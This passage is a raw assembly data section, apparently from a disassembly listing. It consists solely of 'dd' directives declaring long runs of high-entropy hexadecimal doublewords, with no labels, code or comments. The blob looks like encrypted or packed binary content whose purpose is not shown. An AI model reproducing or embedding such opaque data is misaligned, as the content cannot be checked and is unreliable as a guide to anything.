		dd 0D6D99D0Eh, 2C23E430h, 0FE667790h, 0EF01B5EEh, 0E1DCEA80h
		dd 0D411AD29h, 62834339h, 0D995A9CFh, 0B2F25216h, 12558C0h
		dd 0E126C11Dh, 990B9E08h, 0CAE8754Eh, 1DBEDA83h, 37EF8A0Ch
		dd 887C3BB5h, 3F84BED8h, 0A86F2D6Bh, 650EC790h,	90EE1BA5h
		dd 7E9AEE97h, 0A9C5E45Bh, 4BB68BFAh, 901A99E9h,	51F5904Bh
		dd 4D7D427Bh, 7367FE7Ch, 25504619h, 0C013846Dh,	0B9F6E7DAh
		dd 0C9627DDAh, 0CB796189h, 0A6BED36Eh, 68580505h, 20A77908h
		dd 2F8A9F1Ch, 35FB975Dh, 0ACA6FB53h, 714B1516h,	33AF21AFh
		dd 9B0E5090h, 5E57A840h
		dd 62EEB85Dh, 9A6D516h,	24233900h, 297F3E1Bh, 65709AFAh
		dd 0DF9566E0h, 0D995E49Ch, 48EE8012h, 0F2EAC7Ch, 0C215892Fh
		dd 0EBCE7F26h, 1392C026h, 9FF720BDh, 5D97655Eh,	0F94A000h
		dd 9A456C4Dh, 450B039h,	1C273B6Fh, 92ADAE31h, 86DEC18Bh
		dd 7A3F0CB0h, 0AE035CF1h, 19E02471h, 0A0DE9800h, 1C627541h
		dd 0F6BA9BB6h, 2E5046A9h, 2F9C1159h, 0F3308B8Fh, 0AE302742h
		dd 399D61B3h, 0E960541Bh, 8858C0A0h, 50525BFDh,	0F9FECEAh
		dd 171656C1h, 0A4CD50D9h, 4A35538Dh, 0EDC92F3Ah, 86BDB93Eh
		dd 902523E9h, 456709E3h, 0B7EBA06h, 8C90DF25h, 915B41E9h
		dd 5327D1B2h, 0E94171F1h, 0E32B339Eh, 0C65C89FCh, 18C69FC7h
		dd 7B4E8AB0h, 0E8C1B2C0h, 5A3BF005h, 3AF1C99Fh,	312FEAF1h
		dd 2AA6AA72h, 8143F9C8h, 0DFEBF158h, 0CCBB0C07h, 31D13754h
		dd 1205BD9h, 0ED5D17C9h, 0C237017Bh, 4770C605h,	3F2BFE9h
		dd 0CCFE1617h, 4D7771C1h, 3832F4D5h, 0D617B52Fh, 2D305CC7h
		dd 0D0E9312Eh, 0E6A49589h, 6ED6BAC6h, 321AA60Ch, 0EFEBFED9h
		dd 299804E3h, 3C50766Bh, 0DBC695DFh, 602CF301h,	0FAB9F733h
		dd 22003218h, 20FFF181h, 1749117Ah, 4B9E60E9h, 40FAC7E2h
		dd 2DC4964Eh, 8DB00EFEh, 0F55E2239h, 0B9E434A3h, 6F3D5CE2h
		dd 3062516h, 0C91CBD40h, 0C12B7625h, 0A4DDF701h, 4801EC0Bh
		dd 52759A01h, 4EE1AA69h, 32AE2EA5h, 5B23D84Eh, 0D653D268h
		dd 7A6EE9E7h, 4D3FBF00h, 4AE91197h, 41A49D67h, 2F3DA1C3h
		dd 0FB43DACh, 0F7C06D80h, 5BFC307Bh, 101C085Ch,	680E9D5Fh
		dd 27E9337Fh, 7FC46D91h, 8B3FBCA1h, 8C2C7FC8h, 8B67B60Ah
		dd 0EB526539h, 0DF1B3969h, 0D3750987h, 34502D0Eh, 60AE79B7h
		dd 0F576866h, 8B9ADCBDh, 0FD4425F7h, 3D0C20CEh,	267A92Eh
		dd 0F71A0B9h, 9A41AB8Ah, 25F097B6h, 92B1CDC4h, 5830A51Eh
		dd 0C5B707EBh, 63978B85h, 80DFC5FDh, 15741BBBh,	0CB326839h
		dd 0F55C4909h, 0A7893DD9h, 9D51D1EDh, 0BBE465ABh, 0D8BF564Eh
		dd 0D25EE973h, 98208817h, 4AF8D636h, 524280E6h,	0EF27E953h
		dd 0E1D0D49Ch, 8C44AF68h, 0D1931389h, 612B17EEh, 872AE017h
		dd 0AB8F0324h, 881E5A8h, 806CF1E9h, 0A379F1EBh,	7D010D0Bh
		dd 90B24ACAh, 194EBA5Ch, 987E9330h, 6DCE3577h, 7A04AA1Ah
		dd 8CA7D844h, 1BABCFAEh, 9866BE98h, 0D943D1h, 32CE813Bh
		dd 4E0D0463h, 0EE2280B8h, 1271BF87h, 16DFA98Dh,	0EA04BC7Ch
		dd 0AE26231Ch, 0E64B30CEh, 74FB5A13h, 3950C2C4h, 78B514D8h
		dd 9552FC14h, 96BFCE76h, 0AB49F4CCh, 1BE8FDADh,	23B59AAAh
		dd 922B6012h, 25D4752Ah, 7716F689h, 495D7D1Ah, 913259EBh
		dd 68E1F707h, 1A671C2Dh, 0FF44EC41h, 843949AAh,	407F6362h
		dd 0D946D2DFh, 2A77EF7h, 0BDAD409h, 955D48E6h, 0E3A31C2h
		dd 81ED80F8h, 0F696C0F3h, 6949F8A0h, 0C2F518C9h, 1C82DF48h
		dd 9B5DABDAh, 761410CBh, 0A267FEFh, 0F1803EC5h,	66CB28B9h
		dd 0F2E3E859h, 0A96BFFC3h, 8D824076h, 3D765276h, 4A4FCB04h
		dd 3C8372B9h, 1A47B802h, 0E06322E9h, 3719CA04h,	2F8075A0h
		dd 4E0B6A35h, 675AA041h, 76956570h, 9640C256h, 0B11EA266h
		dd 0F2CB8054h, 201E5008h, 94B061F6h, 6978BA34h,	89DBC8AAh
		dd 2717E1BCh, 595B1B45h, 0BE3BA139h, 0C80A544Ah, 0B05B5BAh
		dd 0E2512609h, 32EB663Ch, 0E09B15B0h, 3C99D841h, 9EBE4AFEh
		dd 0A2875F23h, 0B5C758DBh, 68E1D2F9h, 95053E9Dh, 2746AE20h
		dd 52D9221h, 344E38E2h,	62C01A1Dh, 0D7052FD0h, 89EACBB4h
		dd 0DB47AB05h, 0CDC43FACh, 0E4EFB83Ah, 42CBDA00h, 0B2DC0E3h
		dd 3A901923h, 702C6C2h,	0D55CB5E9h, 6884152Ch, 0DACC604Ch
		dd 10EF257h, 5F7CFE36h,	3A53A4E9h, 0DBC645A2h, 46094686h
		dd 5635CEE9h, 0CC808776h, 0B0604BF9h, 633B2C38h, 7CE90232h
		dd 428B4D6Dh, 0D9B793BDh, 213AB7FAh, 45E16810h,	61DBBECAh
		dd 4464624Bh, 4D6A897Fh, 255EA659h, 570989D7h, 0ECEAE184h
		dd 255B3B60h, 0C0820155h, 0A6208E8h, 59FEA518h,	6D24E6F3h
		dd 0C1081972h, 385E1447h, 0EE3645A0h, 0F35AB5h,	1684BF57h
		dd 0FB216076h, 8B8CFBB5h, 0B2550EB1h, 1D7E5EEFh, 424ECCDCh
		dd 339C3A24h, 14ADB28h,	540CC0FEh, 0FA2A8E0Fh, 814A824Fh
		dd 0A83FEDE1h, 34BEF411h, 33C5AF7Dh, 3E812934h,	60226142h
		dd 2F39F207h, 4FC9B214h, 6E1B17Dh, 0AFC0842Bh, 3FA96DECh
		dd 0FCD6E4A9h, 26E81013h, 51B2BE02h, 547D7567h,	2F250E0Fh
		dd 0FB029E10h, 0D708CF6Eh, 55004666h, 583EF9BDh, 0BE58154h
		dd 166A655Ch, 0C51E82D7h, 0B3E574E6h, 0DDD25AB4h, 5D9F73D8h
		dd 759D44B4h, 2B98E714h, 675F90Bh, 43C87D57h, 0C54CB450h
		dd 60A550A5h, 126C159Ch, 0C7418220h, 5AF27C05h,	0DE10EBBCh
		dd 0B8054E1Bh, 5DB40D29h, 0DAEC95AAh, 6CFAFAB8h, 12245F4Dh
		dd 38986777h, 0D712D16h, 0C32D2870h, 0FD16FD8Ch, 146545Bh
		dd 7BE93D76h, 0B36F2594h, 5E6170E2h, 0CBC82A93h, 0F6C64F7Dh
		dd 0D828C4EEh, 0D24AF4FBh, 35245A4Fh, 0F1255FA9h, 0C30F8E84h
		dd 0E9185406h, 8B17FE9Bh, 0E402448Ah, 168C804Ah, 0C38AB607h
		dd 0B7874D9Ch, 203AD12Dh, 56A630A6h, 56FE6BFh, 4F2273C7h
		dd 71C2EB1Dh, 9D7370D8h, 391EA7DBh, 8D721A1h, 33128C43h
		dd 2CD28AFAh, 9CA6C872h, 55BB83Ah, 5A668C8h, 70B696CCh
		dd 5AF00C4Bh, 0E9083059h, 0B083655Eh, 0E03EE0B8h, 0D0AEA844h
		dd 686680BFh, 280E053Ah, 0C84A4489h, 53CBF3BDh,	519E7B79h
		dd 69E75127h, 0DAE71082h, 5EE3EA0Eh, 0F1966A09h, 8A173C0Ch
		dd 0C67B41AFh, 5158D568h, 3B740DC0h, 524F8A9Ah,	868AFE33h
		dd 38C3EE03h, 54785E9Dh, 580842E5h, 41E95D90h, 0C423254Dh
		dd 0D2A30695h, 869F853Eh, 68944A75h, 5DEF89D3h,	7B25E2D9h
		dd 31F36F87h, 557B86Dh,	718BB1A0h, 2D7F5C79h, 9982B10h
		dd 0DE685BE9h, 0B1F8891Ah, 0DA11BBDDh, 129D6A9h, 0DE556DBEh
		dd 5AF97048h, 25850F80h, 4BDA7DE4h, 20620858h, 53F5A17Ch
		dd 5C1B403Bh, 30DDB050h, 462D0098h, 81C2100Dh, 785609F6h
		dd 0F504358Bh, 7CACAAF5h, 3B41A3F1h, 5D3C41B3h,	8C655E7Ah
		dd 507D4A5Eh, 48498E2Ch, 7A34F6C1h, 41C25C60h, 18E07E39h
		dd 0F2B0E6h, 51F5291Fh,	0EA194FB9h, 49E96709h, 5735A6Dh
		dd 0AD5D3FEBh, 9450EB70h, 9F1C6008h, 9D7B6041h,	76020DD3h
		dd 4067562Eh, 0B6E7110h, 0D6F72B5Bh, 0CB08DF9h,	5E8A313Eh
		dd 98EBB387h, 1278516Ch, 0A8F2CCCh, 0BE822154h,	0F5F6EFA7h
		dd 5FFE8786h, 4EE91681h, 7D28EF92h, 6EBA0552h, 0C233102Bh
		dd 400C7A54h, 0E1C01958h, 0F9020604h, 293E640Bh, 0C42D24B0h
		dd 8B867961h, 0A8F61BE3h, 8927B450h, 8960A1Ch, 0C22261E4h
		dd 0DD0962EEh, 88E801D8h, 442593F7h, 86321276h,	519E08C4h
		dd 0A7249B28h, 9A8C6154h, 0B5280A40h, 423A2DD8h, 8A884F45h
		dd 0DBF602BDh, 9DAB820Fh, 3036E47Fh, 0B3455E8Fh, 0D9618A2Ch
		dd 0BC6178A2h, 0F8D1A9F7h, 0B9C58592h, 0CBBF4BCBh, 20E91220h
		dd 0F7B93649h, 54BE2Bh,	8A1C820Ah, 0EB54F199h, 7E628C78h
		dd 9457DF97h, 12CB2069h, 0D8939FA3h, 0DF4B0825h, 8E01BB92h
		dd 760C6E68h, 5425270Fh, 5E53A5C3h, 0A538DBA1h,	0D4E4778Ah
		dd 5AB36225h, 1A6B38FEh, 0D064EB5Fh, 408029FFh,	83764F21h
		dd 62E2FCE7h, 78343F01h, 0D18A870Fh, 0E976DC6Ah, 0F6670A6Eh
		dd 55022605h, 7969ABEh
		dd 2768515Dh, 5937DA10h, 86E92753h, 549709F0h, 47ECF8BCh
		dd 8BF82EE1h, 51086CB6h, 2FA844E9h, 0A0280856h,	4000F5E4h
		dd 0E9F80199h, 9DFF47D4h, 25703E7Fh, 0CC01CE9h,	3D0078B8h
		dd 9F0D7D15h, 984C1E35h, 0B314A91h, 0D9DABDDDh,	4E6E8948h
		dd 0BE79FDB8h, 88EAC07h, 6C285465h, 283F3320h, 7BB7F901h
		dd 0B7B97B86h, 0E29BB4E3h, 7BF2B802h, 78052F46h, 5D7FD63h
		dd 65A2116h, 77E4AE1Bh,	0F432182Ch, 60360C22h, 0DB271427h
		dd 56B0890h, 6155DAB2h,	0B73B267Ch, 52F69E8h, 68BC0A1Bh
		dd 0F35B31C4h, 7CE21297h, 1910CEF2h, 86566570h,	7E05E2AEh
		dd 5BF21849h, 35C8EEC1h, 0B039AA04h, 5B88E120h,	7537B8C5h
		dd 2ABAF34Bh, 7CE9097Ch, 62587E0Ah, 0BB057548h,	201F0EC1h
		dd 1344DF30h, 0ED576706h, 28DB0166h, 0D90111B0h, 0B5A72C38h
		dd 93CD01C1h, 5648F82Ah, 1E0112B6h, 817D453Bh, 7AD0BCEAh
		dd 8E0CC06Dh, 0E9FE0E5Ah, 44AAB331h, 8305456h, 1500BD11h
		dd 0B44B93B9h, 232E2E7Ah, 97438D4Dh, 81C0C96Ch,	0D44C0A22h
		dd 4051D212h, 384CE3B5h, 0F1309B5h, 1B14F80h, 84B1A67Ah
		dd 639862A3h, 0F6435B63h, 87772E2Eh, 0E1ACE544h, 0C7C65C0Eh
		dd 8C5619BFh, 90B382D2h, 7E55661Eh, 0BD94208Fh,	0FDD220DCh
		dd 0CBA598E7h, 5D1982Ah, 210311ECh, 91ED4BE8h, 0A545A0F1h
		dd 826CF58Ch, 9F1C1894h, 3DFB4F38h, 7E304DBFh, 407D92BDh
		dd 5CBD293Dh, 627763DEh, 9B594AE2h, 0C0130146h,	6367ED06h
		dd 506AE919h, 0D5270B49h, 2774A8Bh, 45CD061h, 3520BF5Fh
		dd 3D49B205h, 0FA04702Ah, 0BA0C4ECAh, 2EC3DB81h, 582D9D7Dh
		dd 0F48A080h, 0B5248Eh,	2B8A357Fh, 890215C0h, 1ED650C6h
		dd 0C927013Eh, 0B9022D66h, 0F0019D4Ah, 0B243800Bh, 0D7E87FF8h
		dd 0A52648F4h, 8C3E900Ah, 0CE428D6h, 76431699h,	0E3CB077Ch
		dd 1A01A971h, 3A5BE786h, 0CFA119FCh, 9603C278h,	0E38F005Bh
		dd 21FE2A03h, 8E5F840Fh, 98BA2084h, 0CB4A9F72h,	0FCC5B6ECh
		dd 24AD03h, 930267Ch, 0E368E581h, 386A58D9h, 944AE9A5h
		dd 3ACEDC4h, 6AE7B1h, 38008B7h,	0FC889DC7h, 0F1C9535Bh
		dd 0BF1D7066h, 0E917DCE0h, 0A0208224h, 4CBB6E5Eh, 87336944h
		dd 9C853F9h, 4D01F210h,	14A4CB81h, 0C813C5Ch, 22D01635h
		dd 4BB120C1h, 3401F3F4h, 98B8696h, 0AB205BDDh, 8C224A90h
		dd 2E5BB2CDh, 4D813AD8h, 0DF8EB407h, 306F89B2h,	0EE521223h
		dd 52704A6h, 0D2FF3757h, 0F9555E95h, 2EA650Dh, 27EE915h
		dd 144A33F6h, 52A0100Ch, 0E8ED3980h, 1862EF99h,	4C093B39h
		dd 9401FE59h, 1E2EB510h, 99421AF1h, 7AFDDC58h, 65EADD85h
		dd 150998Ah, 7EF77D80h,	0A97A1BC9h, 1FB7BDAh, 77DC16B2h
		dd 93ECB10h, 3B926E6Bh,	0A2D2AF9h, 0FDA56766h, 4FBF6745h
		dd 0F4D8BFB5h, 0A48970Bh, 899A63BFh, 66DCA627h,	802E4AD0h
		dd 0FBFBA62h, 98CBF098h, 75217F99h, 0C7602DFEh,	0B48E95D7h
		dd 0CD4575DDh, 523B273Fh, 5E57D5CCh, 4C5D46DEh,	467D0A2Dh
		dd 54512D64h, 83D0121Ah, 0B03BE5B5h, 1629EC18h,	0ABD4404Eh
		dd 0E5B080Bh, 432073BFh, 5E071317h, 2F76E8B3h, 0FF27E273h
		dd 0CB2D744Dh, 0A3C134Eh, 1622167Ah, 36190A34h,	2728A69Dh
		dd 2E5928E1h, 6910D5F6h, 3F65E40h, 8E891A58h, 0AD485150h
		dd 0CAA91327h, 43CBA54h, 2B89C301h, 0ACAE81FFh,	0D9F1353Ah
		dd 0B2013F57h, 806DB151h, 5B2C4CFCh, 74DCACB9h,	455E5977h
		dd 25F4A8B8h, 0AFF21306h, 0C8A7316h, 50AAB50Ch,	51B45E7Ah
		dd 7CA90243h, 55BB2D7Ch, 892498E4h, 0B05E9CEh, 0CE83F16Eh
		dd 5ACF178Dh, 82F4D531h, 3C52393Ch, 890F0604h, 3F881B6Ch
		dd 436D013Ch, 88C7211Ch, 0D65D6CE6h, 5D01C8FDh,	0DEE91261h
		dd 0EDD18B80h, 2D25D6D5h, 5BF7EB62h, 9EF2A568h,	984FD520h
		dd 0BDD9989Ah, 224A0146h, 0F85304D1h, 20BB2D00h, 51109203h
		dd 0B1378DB9h, 507C0925h, 2E3E417Ch, 0C1042FA9h, 0C32C020Fh
		dd 4D122AB8h, 62E279B7h, 37973712h, 2B44F3EFh, 8CAF2918h
		dd 5B3F3CFh, 21278F12h,	0A42DEFD9h, 9002B47Bh, 7932D45Ah
		dd 6BCBFFEEh, 0CAFFC6B2h, 84FEC177h, 12C38F2Eh,	0C8C0153h
		dd 5F1740AEh, 7FD12137h, 0D8A936B5h, 0AA27F517h, 5A55CB04h
		dd 0C006A2EFh, 2D7239C5h, 90B29029h, 0D62754C9h, 453F2D68h
		dd 2460ED1Ah, 595E23A0h, 0F712C0FCh, 80ECE9D9h,	380B49FCh
		dd 0E7D6FC96h, 95355930h, 1D92F8FEh, 4943FFCCh,	4280625Ah
		dd 0C2E969B3h, 58144CBEh, 749A2DDDh, 9DFE40Bh, 8B33593Ch
		dd 1CD497ECh, 0D432FDC2h, 53366523h, 57F802F4h,	50DF942Bh
		dd 868734B8h, 3BC4FF5Bh, 8FC0A595h, 3A5441F2h, 4F818167h
		dd 2109D40Bh, 0E7C8FFD7h, 0A92455C7h, 0E500290Eh, 2DA545EBh
		dd 60300227h, 5F8294Fh,	0C4E90781h, 23DC3F59h, 9A9BC58h
		dd 7352E8B2h, 6D07705Fh, 7282CCB8h, 3238DD12h, 3F49CD68h
		dd 90321747h, 8825B140h, 906D0F73h, 0E4572025h,	680641A0h
		dd 61CD185Fh, 0D4BFA06Fh, 2BC92000h, 0FF6EB81h,	13477321h
		dd 0EFA7FE8Bh, 0CF01027Dh, 757B85D5h, 0D0ABFCAh, 5C9AA947h
		dd 0DF8A5F2Eh, 36BA8303h, 0BA204115h, 0F5948A39h, 0F184DFAFh
		dd 75CD142h, 20B9138h, 0A752FC4Fh, 6295FCE5h, 573DEBF9h
		dd 0AFFBD412h, 0FA1D3A66h, 3BEF9628h, 1CC7C526h, 9A572D53h
		dd 0BA29DE1Fh, 0E91810A0h, 0F14F88D8h, 81493A5Eh, 712FE63Eh
		dd 354DBA40h, 0CBF06467h, 2E4C0CB3h, 0A724F7B7h, 4A7F1655h
		dd 52354998h, 80B250A8h, 1E0F810Dh, 2DF0F714h, 6B29AA09h
		dd 1870431h, 0C0660Ah, 91B45051h, 5F9842B1h, 0D3B3A34Ah
		dd 93431B2Eh, 5387BFBDh, 1EA091A5h, 0FFD905Ch, 5B010BFh
		dd 0B0A93A89h, 86A26365h, 1F91737Bh, 0E37BE986h, 610D0C30h
		dd 0D6C68367h, 92E27A5Ah, 0F18E5C96h, 466BC94h,	0B85BA6A3h
		dd 0C181C043h, 4E86514Eh, 4ACB52Bh, 3291BB08h, 0F004B3Bh
		dd 84418982h, 0A577B27Fh, 0BC915100h, 25E9F915h, 24C457E3h
		dd 68565007h, 58F90F6Fh, 6BEE340Ch, 0CE85AE0Fh,	79999601h
		dd 0D7451DBFh, 0E3ABE095h, 98E983E1h, 0B2234FD0h, 0B5CB5B10h
		dd 22642E6Bh, 0D59B25E3h, 2D9639D9h, 1FE65CC9h,	0AE5C83Ah
		dd 6882FD25h, 5C043678h, 942DFAAh, 744FEC68h, 0B0167D0h
		dd 0FE6212FEh, 626B099Fh, 6F41D9CFh, 8A876029h,	7E60FA41h
		dd 0BEED4017h, 8E26CF00h, 35F68150h, 7430574h, 400F6368h
		dd 6D4CBA36h, 811F2AD1h, 0A6C975E2h, 0BED20631h, 8E0F0975h
		dd 0F5119D51h, 8CAE05ADh, 0B9045FAFh, 759B76BCh, 4D48CDACh
		dd 2499C804h, 9F3880EAh, 140CE80Fh, 7E8F4DE9h, 0B72D0348h
		dd 3538B168h, 56D68CB8h, 0CC9908BFh, 0CB09761Ch, 27277023h
		dd 59CB3073h, 0C12D4CFBh, 13FBE2h, 0A92FB5BAh, 0CA04817Ch
		dd 69C57A85h, 479C8E8h,	0A012C4C2h, 0A2F9EB84h,	7314A7DFh
		dd 38F7B8C1h, 0E5F011AEh, 0E03A3C41h, 0CD9D453Bh, 62530961h
		dd 37F7D500h, 0EAB0545Ch, 4FB55E09h, 12A274C7h,	2CC2C57Ah
		dd 88255379h, 83405DE3h, 0B509515Bh, 4EC2801h, 1312A3C4h
		dd 0A41CBC24h, 94772327h, 0A62CE803h, 8F7BB72Bh, 149F16A2h
		dd 0C1984FFCh, 20465A2Fh, 2417A8C1h, 0F13269Ch,	393BAF07h
		dd 0C50410BFh, 0BE49EC0Eh, 422505E5h, 305F28A7h, 12196BC9h
		dd 0AF012BBBh, 0C044964h, 43CF5B5Ah, 1C870209h,	0D250D5FCh
		dd 1D4EBF34h, 1088515Ch
		dd 0E85B3FE2h, 0FC7DE9D8h, 0D24EAC48h, 79435D8Eh, 2565A0F5h
		dd 7C7F3425h, 0F76F08ECh, 6D546805h, 567D60AFh,	261BFBBEh
		dd 0A0707634h, 18649837h, 2C13F4E9h, 0C30F8058h, 64DE2060h
		dd 0DA92591Eh, 4F2151DFh, 0FE750B72h, 0A5BC8AAh, 3BE4202h
		dd 6D526B25h, 22EA2BF9h, 0E0A00BFh, 3BE10F7h, 3B132F66h
		dd 0F1954444h, 8F68E106h, 0D1635502h, 1AB6F4Bh,	0CD40CA01h
		dd 7D852141h, 3B4B2670h, 34108B7Bh, 78B3B664h, 871C8804h
		dd 2F62CEFBh, 0EBB9D433h, 757AA802h, 4C0F26A8h,	201719DAh
		dd 45BF5FC3h, 0B40AD470h, 9BF00229h, 864734FBh,	522E0396h
		dd 76345727h, 39BA1695h, 0A3DE315Ah, 0A9D32756h, 0BDA9F41Ah
		dd 14B54918h, 0C793FA88h, 0A420953Eh, 3E53516Fh, 58C3CE40h
		dd 640F5CBEh, 0ECDE668Fh, 1EEB026h, 75DD2563h, 164A80E2h
		dd 0F0C37457h, 87E53CE9h, 0F5A23578h, 0EE2E35h,	4D842364h
		dd 0CAF1C501h, 5AFE088Bh, 0CF657F5Ah, 1FD60A88h, 103B1BBh
		dd 0AD613FDEh, 302E0DC8h, 0A077532Ch, 0CB813201h, 6D031596h
		dd 0C3ABF48Bh, 136455FEh, 9A7D78FCh, 98EF00B3h,	0F705633Ah
		dd 0C12D68D7h, 9703D931h, 0D26287AFh, 6DEC3623h, 1A87692Dh
		dd 919F4352h, 0CCD45AF1h, 805B0F59h, 0E68A57C4h, 0AA6245EBh
		dd 2EB42816h, 10746664h, 2D07D95Fh, 7DD1313Fh, 7EA832E2h
		dd 685280B0h, 4B4602E7h, 72C55A48h, 4D33610Bh, 0F4220850h
		dd 0BAE98CBEh, 5BF736F5h, 105CB3D2h, 5E25EF20h,	0B4959AD8h
		dd 586812B8h, 0CE2CFB7Dh, 0AD66D601h, 0CF7E1612h, 26778AFFh
		dd 5C94E667h, 0C2D22F7Bh, 0E367D510h, 0AC7DE905h, 3DCEB245h
		dd 22093D56h, 59A7C0E5h, 47CCB757h, 1D97FB9Fh, 57FF5C2Fh
		dd 0A778FA54h, 560825E9h, 9ABE8345h, 31ACE1Ch, 14846EA4h
		dd 65F031C7h, 26BF1A10h, 381BF95Bh, 6848094Bh, 101A7E25h
		dd 108D1F40h, 33377724h, 241A41Dh, 5C8C0F41h, 0EF65137Ah
		dd 9D11A48Ch, 0E340CF2Bh, 35CEAC1h, 0E2A51C17h,	5D05E9CBh
		dd 0AE2D6A25h, 690C7495h, 2D68B7C3h, 0F6794786h, 296AB88h
		dd 274AA3BFh, 3C039BC1h, 51AC04F7h, 0FDAF0CB1h,	0E0F85040h
		dd 703F1909h, 4E6705Bh,	6C3B62F6h, 0E6010117h, 0F0D0308Bh
		dd 320D005Eh, 5460B44h,	4E3007A4h, 3893F829h, 0C2A4E52h
		dd 68959F9Bh, 8D44F24Fh, 1E90A5CAh, 7AF33C13h, 90EF5A6Ah
		dd 44EEE53Ch, 0FE288A2Eh, 59CC4D16h, 89214A0Ah,	8BC42AD1h
		dd 0ADE3E8ABh, 4EE46870h, 0F410BC46h, 63B3DC04h, 840DA9B8h
		dd 7F7AE2BEh, 81BB4246h, 90F5582Bh, 0EF735C30h,	6C2F2DE3h
		dd 6588D715h, 0B5E1208h, 8166371Ah, 5C02682Eh, 0BE6EBDA0h
		dd 0EDA4D7F5h, 4E7CF856h, 0D66CD0ADh, 0D4A1C032h, 0E7163FE1h
		dd 0E985F6B7h, 2F6FC8Ch, 6851E2D1h, 0F6DC5D7Ch,	3A2CCF60h
		dd 0B95E1B40h, 82050DCEh, 29D05DB4h, 16B1BC87h,	0B6682B17h
		dd 22F1687Ah, 20B62C0Bh, 6661BD17h, 3862802h, 8D03D3BEh
		dd 74E3D25Fh, 325598BFh, 262D178Ah, 4B58965h, 35834863h
		dd 3791B719h, 0A6839294h, 0E9455AD5h, 0FB849FFBh, 595813F3h
		dd 2AC8E9F1h, 0D75E1909h, 5D49A5DBh, 6426EEC5h,	2F6D3808h
		dd 0F497367Eh, 0EE1214ADh, 975EED5Dh, 0B397EAE3h, 0C2D1D38Ch
		dd 0CD920C65h, 6A86BFEEh, 79F6950Ch, 0D052FB2Eh, 51E913C2h
		dd 5D88AB82h, 10C4621Dh, 9E61EB09h, 0A5F12469h,	20486DE0h
		dd 22F630B9h, 5E3E8A0Fh, 767D25Dh, 186A3E1h, 0A07EF801h
		dd 6A972D21h, 60DDF47Dh, 0FC711505h, 0DF782A68h, 42950820h
		dd 0E8C8F50Ah, 60C09469h, 0E57A36BDh, 815D9F21h, 0E777A988h
		dd 50D001D4h, 25E9072Dh, 0E17495DDh, 0DA382479h, 271C075Fh
		dd 1CD50B2Ah, 41C48267h, 4D807D70h, 180352E6h, 8D180F72h
		dd 0CE1976D2h, 564D1F08h, 41800B33h, 0CFB2CEC0h, 0E307A4B0h
		dd 4B2546A8h, 5DF987F2h, 9917F6A3h, 80472805h, 3E805CF5h
		dd 645B5833h, 0AC878E59h, 29460E8Ah, 56425FBBh,	0F5603368h
		dd 576449B4h, 8C1B12D2h, 0C60C2FAAh, 40DB9722h,	7F028E20h
		dd 1460A72h, 9BE62CEh, 0E2397D08h, 5F616829h, 6B8B3ABDh
		dd 54503958h, 4300B9D6h, 81530A40h, 3B3F2AC9h, 0F1072C10h
		dd 231A7F6Fh, 5427CA01h, 857759EAh, 0BA4D40E9h,	5F4BC098h
		dd 0FCD64020h, 0F715F262h, 6AA7D350h, 46EA7B18h, 33236EF8h
		dd 30C12A7h, 0F1A0680h,	31C0850Eh, 0CDEA36FFh, 9EE2E40h
		dd 0D66E5AC9h, 39409F0Ch, 97B3240Ah, 0FFA7A85Bh, 0E9536AB8h
		dd 2993EE2Eh, 0A67D1888h, 25712B06h, 3B85A449h,	0C81331FFh
		dd 0EEA1823Ch, 874E3273h, 0C5D2D6F3h, 80AFC639h, 2E1B7B80h
		dd 10B07835h, 0D1590D44h, 7EDF3CEEh, 80763803h,	0D999AB4Ah
		dd 7C94FC02h, 7B334064h, 74BF4ED6h, 0EBA189DBh,	5A5394DDh
		dd 0BEA902D4h, 40D71E9Ch, 0BD8EA9F5h, 3BF22B4Ch, 0EF5E1BB5h
		dd 60AA09A7h, 0B09FB182h, 0DF72DFAFh, 3D2251A0h, 77BD3FE1h
		dd 0A399FFE4h, 39031830h, 0E45F8148h, 45208AD1h, 0B560B75Dh
		dd 4425E70Ch, 0FB9D68A3h, 87518276h, 301002ACh,	2AB582Ch
		dd 61DA765Eh, 5C73C7Eh,	0E92AB290h, 0D74B4A47h,	0DE3DE1F5h
		dd 0BD78606Dh, 30E94E40h, 0E1236EEBh, 302C08B2h, 1000AA06h
		dd 0E964D961h, 2D5C62C9h, 95DCC431h, 5FBE5660h,	0BD457847h
		dd 595FED0h, 0B17C243h,	5BA7FCD8h, 0B5FCD136h, 4BA37E8Ah
		dd 28FD0B9Fh, 0E9D08FDFh, 6F5782CCh, 9DFE0758h,	7450E53Eh
		dd 705C6199h, 0A7B4C057h, 16E2E480h, 0BEAC49E9h, 9B059170h
		dd 2E09266Ch, 95028D2h,	1E9A0F34h, 5D67B601h, 0D1F6E26Fh
		dd 0A911FD72h, 967FFE6Ah, 10DD95ABh, 0D7E5E9EEh, 8082C2A5h
		dd 0D6F70A68h, 0D1F28716h, 12C91AF0h, 0EA8C2EDEh, 12CD4B14h
		dd 4C304C71h, 3FEF6857h, 5FA4F973h, 0A31716D7h,	594C046Bh
		dd 0AFFC0332h, 0DEA21271h, 1C47FE31h, 8629E2C4h, 0F63EFAB5h
		dd 1AE09975h, 8D770A90h, 0D6EDDD79h, 92B0B2Fh, 0DCB5E2C4h
		dd 0F4555A05h, 354352B5h, 720A7E13h, 0CF0267F8h, 1FAE44E0h
		dd 2D215C5Fh, 4C1811D8h, 0A30C3CCDh, 0C3730B2Bh, 62E014E9h
		dd 571266BDh, 8B0C4A6Dh, 0BD050D62h, 79DD84EAh,	2EB8892Eh
		dd 86E146A0h, 79587C1Fh, 60723B55h, 9E22C1ABh, 89D9045Dh
		dd 0FB0C8BCDh, 41BEAA34h, 183FC77Fh, 8A167A3Bh,	0B9CA67FCh
		dd 1FE9050Dh, 0DEE34903h, 28804C02h, 0F681EB90h, 2C054234h
		dd 0B439E381h, 0D8AC504h, 20E6AA3h, 0A86A44F1h,	3BB26077h
		dd 4CBF2E11h, 284E105Ch, 2E34889Dh, 0E2EA0E2Bh,	57E9C207h
		dd 7D985594h, 0E4991DD6h, 2F9D93A0h, 0DFDD2B48h, 585D0F92h
		dd 0B35EBFD1h, 5C32E961h, 4812DE6Bh, 60197C23h,	32803DFCh
		dd 8E0F4200h, 0D9D81827h, 26D22861h, 88EFFECFh,	0D1008F32h
		dd 3E4835E0h, 0F872C48Eh, 155DB334h, 379904Bh, 4E4208E8h
		dd 778405Ah, 33D8B558h,	0FFC28309h, 789F94Ah, 31F4E374h
		dd 0C25B7CE9h, 6BA3FC5Dh, 6E5150C1h, 91506089h,	4BF7B8F8h
		dd 2614B08Ah, 13465F0h,	81674FAh, 14A58CEBh, 5E088CB4h
		dd 283249Ch, 195372BFh,	5A5B43E0h, 0AD78162Eh, 8B5E1B00h
